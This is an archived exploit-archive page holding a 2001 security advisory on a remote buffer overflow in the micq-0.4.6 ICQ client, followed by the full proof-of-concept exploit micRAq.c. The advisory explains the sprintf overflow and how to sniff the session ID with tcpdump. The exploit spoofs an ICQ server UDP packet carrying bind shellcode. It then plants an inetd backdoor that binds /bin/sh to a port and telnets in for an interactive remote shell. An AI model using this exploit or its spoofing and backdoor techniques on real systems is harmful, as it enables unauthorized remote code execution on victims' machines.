exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pkc003.txt

pkc003.txt
Posted Feb 2, 2001
Authored by The Recidjvo | Site pkcrew.org

PKC Security Advisory #3 - Micq-0.4.6 contains remotely exploitable buffer overflows which allow running arbitrary code with the UID/GID of the user running micq. Includes micRAq.c, linux/x86 proof of concept exploit.

tags | exploit, overflow, arbitrary, x86, proof of concept
systems | linux
SHA-256 | bdeafc53f03fcf3d7fe4fc162d02cad42920f5cca6a62418729e5e987cf1fc0b

pkc003.txt

Change Mirror Download
/*                                  pkc003.txt                          */

-=[ SECURITY ADVISORY #003 ]=-

_____________ _______
| \ [www.pkcrew.org] / \
\ | ______ / ___ \
| | |_ _| ___ | / \___|
| | | | / _| | |
| _______/ | | / / | |
| / | _ < | | ___
| | [PkC] | | \ \ | \_____/ |
_| |_ _| |_ \ \_ \ |
|_______| |______| |____| \__________/

[ Packet Knights Crew ]

-=[ SECURITY ADVISORY #003 ]=-



- Vulnerable program: micq-0.4.6 (Matt's ICQ clone). Maybe others.
- Tested on: Linux/ix86 (Slackware 7.1 - RedHat 6.1)

- Advisory author: tHE rECIdjVO <recidjvo@pkcrew.org>
- Group: Packet Knights (http://www.pkcrew.org/)

- Date of release: 01/18/2000

- Problems: Remote buffer overflow
Local buffer overflow (not dangerous if not suid)

- Impact: Remote vulnerablity allows to execute arbitrary code with
the UID/GID of the user running micq.

- Risk level: HIGH!

- Exploit: Simple remote shell exploit for Linux/ix86 attached.

- Dedicated to: Francesca (I'll never forget you :*)

- Credits: The possible problem was signaled by |CyRaX| and asynchro.
Thanks to Nail for some crazy ideas :)

- Greetings: Mozarela mia sinta giganta.
All PkC members, expecially |CyRaX| and asynchro.
All IRCNet friends, expecially Guybrush and IISBOSS.
All my Undernet bros.
My mom.
LOA guys.
cat ~/friends/*

- Summary:
micq-0.4.6 is one of the best ICQ emulator for linux console.
There is a buffer overflow in sprintf() in icq_response.c in function
Do_Msg() at line 879, that allows to a remote attacker able to sniff
packets to ICQ server to execute arbitrary code on the victim system.
There is a local buffer overflow, too.
If you send an URL message with a too large description, the program
receives a SIGSEGV.
Because of the program is not suid, I don't analyze this bof further
more.

- Details:

[ ... snip ... icq_response.c ... snip ... ]

void Do_Msg( SOK_T sok, DWORD type, WORD len, char * data, DWORD uin )
{
char *tmp;
int x,m;
char message[1024];
char url_data[1024];
char url_desc[1024];

[ ... ]

else if (type == URL_MESS || type == MRURL_MESS)
{

tmp = strchr( data, '\xFE' );
if ( tmp == NULL )
{
M_print( "Ack!!!!!!! Bad packet" );
return;
}
*tmp = 0;
char_conv ("wc",data);
strcpy (url_desc,data);
tmp++;
data = tmp;
char_conv ("wc",data);
strcpy (url_data,data);

===> sprintf (message,"Description: %s \n URL: %s",
===> url_desc,url_data);
if ( UIN2nick( uin ) != NULL )
log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n",
UIN2nick(uin), message );
else
log_event( uin, LOG_MESS, "You received URL message from %d\n%s\n",
uin, message );

M_print( " URL Message.\n Description: " MESSCOL "%s" NOCOL "\n",
url_desc );
M_print( " URL : " MESSCOL "%s" NOCOL "\n",
url_data );
}

[ ... snip ... icq_response.c ... snip ... ]

The buffer overflow is due to a malicious URL message sent by the
server. The client reads 1024 bytes from the UDP socket, trim the
message headers and split the remaining data in the 1024 bytes
url_data and url_desc, recombining in the message char buffer, adding
about fifty digits. Because of the url_data is 1024 bytes long, this
instruction can be used to overwrite the return address of the function
and execute arbitrary code on the client machine.

- Solution:
A simple patch can be to increase the message buffer size up to 50
bytes. I've not tested if there are others problem fixin' in that way.
I tryed to alert the micq author (Matt Smith), but homepage is out of
order and email is unexistant.

- Exploit:
An exploit for Linux/ix86 is attached.
Exploiting this bof is a little hard.
The main problem is that we need a large amount of data to be send as
URL, but ICQ servers seem to trim packets bigger than 500 bytes.
So the mad way I've found is to spoof ICQ server and send the malicious
packet directly to the client (micq only uses server connection).
In order to make it works, we need some extra data on the connection,
that requires sniffing at least one packet from the existant connection,
like <hex_session>, that identify the connection. This can be done
easily with tcpdump 3.6.1 (http://www.tcpdump.org/). Let's see how:

(data and ip are random)
[root@pkcrew:~]# tcpdump -i eth0 -s 49 -tnx udp src port 4000
tcpdump: listening on eth0
[ ... ]
205.188.153.105.4000 > 32.96.111.130.1080: udp 21 (DF)
4500 0031 747f 4000 eb11 a72c cdbc 996a
ceb6 3e32 0fa0 0501 001d 4c3d 0500 00f4
b10f 5a
[ ... ]
16 packets received by filter
0 packets dropped by kernel
[root@pkcrew:~]#
(<hex_session> is the last 4 shown bytes)

Now we have all the data we need.
Let's try to exploit this (don't try THIS ;)

[root@pkcrew:~]# ./micRAq 32.96.111.130 1080 205.188.153.105 f4b10f4a
[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]
Packet Knights - http://www.pkcrew.org/

Using buffer address: 0xbfffedb0

"To be, or not to be.
This is the question."
(William Shakespeare)

Trying 32.96.111.130...
Connected to 32.96.111.130.
Escape character is '^]'.
bash$

Good :P

The program sends a spoofed UDP packet formatted to be parsed as an URL
message, but with malicious code in it. It was written using my linux
buffer address and offset, but it can be easily changed for other
situations.
The shellcode open a shell on port 3879/tcp, then the exploit sends
the execution of a inetd session with a shell binded on port 10000/tcp,
and execl() to telnet on that port, giving you an interactive sh on the
remote machine.

WARNING: when micq crashes, it prints the malicious URL, so on the
other side the victim see a lot of unprintable characters
and the /bin/sh string too.

That's all ;)

/* pkc003.txt */

--- micRAq.c

/*
[ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org>
Packet Knights - http://www.pkcrew.org/

- version affected: micq-0.4.6 - maybe others (http://freshmeat.net/)
- coded for: ix86/Linux-2.2.16
- gcc version: egcs-2.91.66

usage: ./micRAq <client_ip> <client_port> <server_ip> <hex_session> [address]

Please read PkC Advisory #003 first.
Catch parameters with tcpdump-3.6.1 (http://www.tcpdump.org/)
Last 4 shown bytes are <hex_session>
# tcpdump -i <interface> -s 49 -tnx udp src port 4000

Dedicated to: Francesca (I'll never forget you :*)
Tnx: |CyRaX|, asynchro, vecna, Nail, [ndk], MatOfPeng

*/

#define DEFAULT_BUFFER_ADDRESS 0xbfffeea0
#define OFFSET 991
#define ICQ_SERVER_PORT 4000
#define BACK_PORT "10105"
#define NOP '\x90'
#define COMMAND "echo -e \"" BACK_PORT " stream tcp nowait `whoami` /bin/sh sh -i\">/tmp/.micRAqbd;/usr/sbin/inetd /tmp/.micRAqbd;sleep 1;rm /tmp/.micRAqbd;exit;"

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

int main(int argc, char *argv[]);
unsigned short in_cksum (u_short *addr, int len); // Ripped. Who didn't it? ;)
void build_buffer(char *buffer, unsigned long *buff_addr);
int go(char *ip);

// bind shellcode by [multiple]
char shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

typedef struct
{
unsigned char uin[4];
unsigned char year[2];
unsigned char month;
unsigned char day;
unsigned char hour;
unsigned char minute;
unsigned char type[2];
unsigned char len[2];
} RECV_MESSAGE, *RECV_MESSAGE_PTR;

struct SRV_ICQ_pak
{
unsigned char ver[2];
unsigned char zero;
unsigned char session[4];
unsigned char cmd[2];
unsigned char seq[2];
unsigned char seq2[2];
unsigned char UIN[4];
unsigned char check[4];
};

struct srv_net_icq_pak
{
struct SRV_ICQ_pak head;
unsigned char data[1024];
};

unsigned short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

void build_buffer(char *buffer, unsigned long *buff_addr)
{
// Fill the data headers
memset(buffer, '\b', 1024);
memset(buffer, '\0', 7);
buffer[4] = '\x04';
buffer[8] = '\xFE';

// Fill the buffer
memset(buffer + 9, NOP, strtoul(buffer, NULL, 10) + OFFSET - strlen(shellcode) - 9);
memcpy(buffer + OFFSET - strlen(shellcode), shellcode, strlen(shellcode));
memcpy(buffer + OFFSET, buff_addr, 4);
buffer[1023] = '\0';
return;
}

int go(char *ip)
{
int sock, conn;
struct sockaddr_in saddr;

// Create socket
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket()");
return(-1);
}

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(ip);
saddr.sin_port = htons(3879);

// Connect to 3879 and issue COMMAND
if((conn = connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))) < 0) {
perror("connect()");
return(-1);
}

send(sock, COMMAND, sizeof(COMMAND), 0);

// All done here
close(sock);
return(0);
}

int main(int argc, char *argv[])
{
int sock, i, hincl = 1;
unsigned long buff_addr = DEFAULT_BUFFER_ADDRESS;
struct sockaddr_in saddr;
struct ip *pip;
struct udphdr *pudp;
char *packet, conv[3];
struct srv_net_icq_pak *pak;
RECV_MESSAGE_PTR r_data;

printf("\n\t[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]\n\t\tPacket Knights - http://www.pkcrew.org/\n\n");

if((argc != 5) && (argc != 6)) {
printf("usage: %s <client_ip> <client_port> <server_ip> <hex_session> [buffer]\n\n", argv[0]);
exit(-1);
}

if(strlen(argv[4]) != 8) {
printf("Error: <session> must be 8 digits exadecimal number.\n\n");
exit(-1);
}

if(argc == 6) {
buff_addr = strtoul(argv[5], NULL, 16);
}
printf("Using buffer address: 0x%x\n\n", buff_addr);

// Create the RAW socket
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket()");
exit(-1);
}

if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
perror("setsockopt()");
close(sock);
exit(-1);
}

// Set pointers
packet = malloc(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip = (struct ip *)packet;
pudp = (struct udphdr *)(packet + sizeof(struct ip));
pak = (struct srv_net_icq_pak *)(packet + sizeof(struct ip) + sizeof(struct udphdr));

// Clear packet
memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + 1024);

// Fill the packet headers
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]);
pip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip->ip_hl = 5;
pip->ip_v = 4;
pip->ip_ttl = 255;
pip->ip_tos = 0;
pip->ip_off = 0;
pip->ip_id = htons(getpid());
pip->ip_p = IPPROTO_UDP;
pip->ip_src.s_addr = inet_addr(argv[3]);
pip->ip_dst.s_addr = inet_addr(argv[1]);
pip->ip_sum = in_cksum((u_short*)pip, sizeof(struct ip));
pudp->source = htons(ICQ_SERVER_PORT);
pudp->dest = htons(atoi(argv[2]));
pudp->len = htons(sizeof(struct udphdr) + 1024);
pudp->check = 0;

// Fill the message headers
pak->head.ver[0] = 5;
pak->head.ver[1] = 0;
pak->head.zero = 0;

for(i = 0; i < 8; i += 2) {
conv[0] = argv[4][i];
conv[1] = argv[4][i + 1];
conv[2] = '\0';

pak->head.session[i / 2] = strtol(conv, NULL, 16);
}

pak->head.cmd[0] = 4;
pak->head.cmd[1] = 1;
pak->head.seq[0] = 0;
pak->head.seq[1] = 0;
pak->head.seq2[0] = 0;
pak->head.seq2[1] = 0;
pak->head.UIN[0] = 0;
pak->head.UIN[1] = 0;
pak->head.UIN[2] = 0;
pak->head.UIN[3] = 0;
pak->head.check[0] = 0;
pak->head.check[1] = 0;
pak->head.check[2] = 0;
pak->head.check[3] = 0;

// Fill the buffer
build_buffer(pak->data, &buff_addr);

// Send the packet
if(sendto(sock, packet, sizeof(struct ip) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *)&saddr, sizeof(struct sockaddr_in)) < 0) {
perror("sendto()");
close(sock);
exit(-1);
}

// Clear the socket
close(sock);

// Send command to execute inetd backdoor
sleep(1);

// First connect
if(go(argv[1]) < 0) {
printf("Unable to connect :\\\n");
exit(-1);
}

// Wait a bit to let the command to be issued
sleep(1);
printf("\t\"To be");
fflush(stdout);
sleep(2);
printf(", or not to be.\n");
sleep(1);
printf("\t This is the question.\"\n");
sleep(1);
printf("\t\t\t(William Shakespeare)\n\n");

// Connect to remote host
execl("/usr/bin/telnet", "telnet", argv[1], BACK_PORT, NULL);

// Never been here
exit(-1);
}

/* micRAq.c - EOF */

--- micRAq.c
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close